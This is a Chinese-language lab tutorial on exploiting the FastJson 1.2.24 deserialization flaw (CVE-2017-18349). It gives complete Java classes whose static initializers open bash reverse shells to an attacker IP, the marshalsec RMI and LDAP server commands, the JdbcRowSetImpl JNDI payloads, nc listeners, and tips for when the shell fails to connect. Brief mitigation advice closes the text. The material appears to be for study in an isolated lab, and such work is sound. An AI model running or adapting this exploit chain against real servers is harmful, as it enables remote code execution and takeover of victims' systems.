FastJson1.2.24反序列化漏洞分析(CVE-2017-18349)
字数 1059 2025-08-10 09:16:21
FastJson 1.2.24反序列化漏洞分析(CVE-2017-18349) 教学文档
一、FastJson简介
FastJson是阿里巴巴开发的一个开源Java类库,主要功能包括:
- 将Java对象转换为JSON格式(序列化)
- 将JSON字符串转换为Java对象(反序列化)
二、漏洞原理
1. AutoType功能
FastJson使用AutoType功能进行序列化时,JSON字符串会带有@type标记来标识原始类型。在反序列化时:
- 解析器会读取
@type标记 - 尝试将JSON内容反序列化为指定类型的对象
- 调用该对象的setter或getter方法
2. 漏洞成因
攻击者可以构造恶意的JSON字符串:
- 通过
@type指定一个攻击类库 - 利用目标环境中存在的特定类(如
com.sun.rowset.JdbcRowSetImpl) - 结合JNDI注入实现远程代码执行
三、环境搭建
靶场环境
- Ubuntu靶机IP:192.168.200.47
- Kali攻击机IP:192.168.200.14
启动步骤
- 使用docker-compose启动环境
docker-compose up -d - 查看容器端口(通常为8090)
docker ps - 浏览器访问:
http://[靶机IP]:8090
四、漏洞复现(RMI协议利用)
1. 准备恶意类
创建TouchFile.java:
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "bash -i >& /dev/tcp/192.168.200.14/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2. 编译并启动HTTP服务
javac TouchFile.java
python -m http.server 8000
3. 启动RMI服务
使用marshalsec项目启动RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.200.14:8000/#TouchFile" 9999
4. 构造并发送Payload
修改请求为POST,发送以下JSON:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.200.14:9999/TouchFile",
"autoCommit":true
}
}
5. 开启监听
nc -lvnp 7777
五、漏洞复现(LDAP协议利用)
1. 准备恶意类
创建Getshell.java:
import java.lang.Runtime;
import java.lang.Process;
public class Getshell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.200.14/8888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2. 编译并启动HTTP服务
javac Getshell.java
python -m http.server 9000
3. 启动LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.200.14:9000/#Getshell" 6666
4. 构造并发送Payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.200.14:6666/Getshell",
"autoCommit":true
}
}
5. 开启监听
nc -lvnp 8888
六、常见问题解决
-
反弹shell接收不到
- 检查Java版本(建议使用Java 8u102之前的版本)
- 确认网络连通性
- 验证Payload是否正确
-
报500错误
- 检查目标类是否存在
- 确认RMI/LDAP服务是否正常启动
- 验证HTTP服务是否可访问
七、防护措施
- 升级FastJson到最新安全版本
- 关闭AutoType功能
- 使用安全的白名单机制
- 对输入进行严格过滤
八、技术总结
- 该漏洞利用FastJson的反序列化机制
- 结合JNDI注入实现RCE
- 影响版本:FastJson ≤ 1.2.24
- 关键点:
@type指定恶意类 + JNDI注入
通过理解原理和实际复现,可以更好地防御此类反序列化漏洞。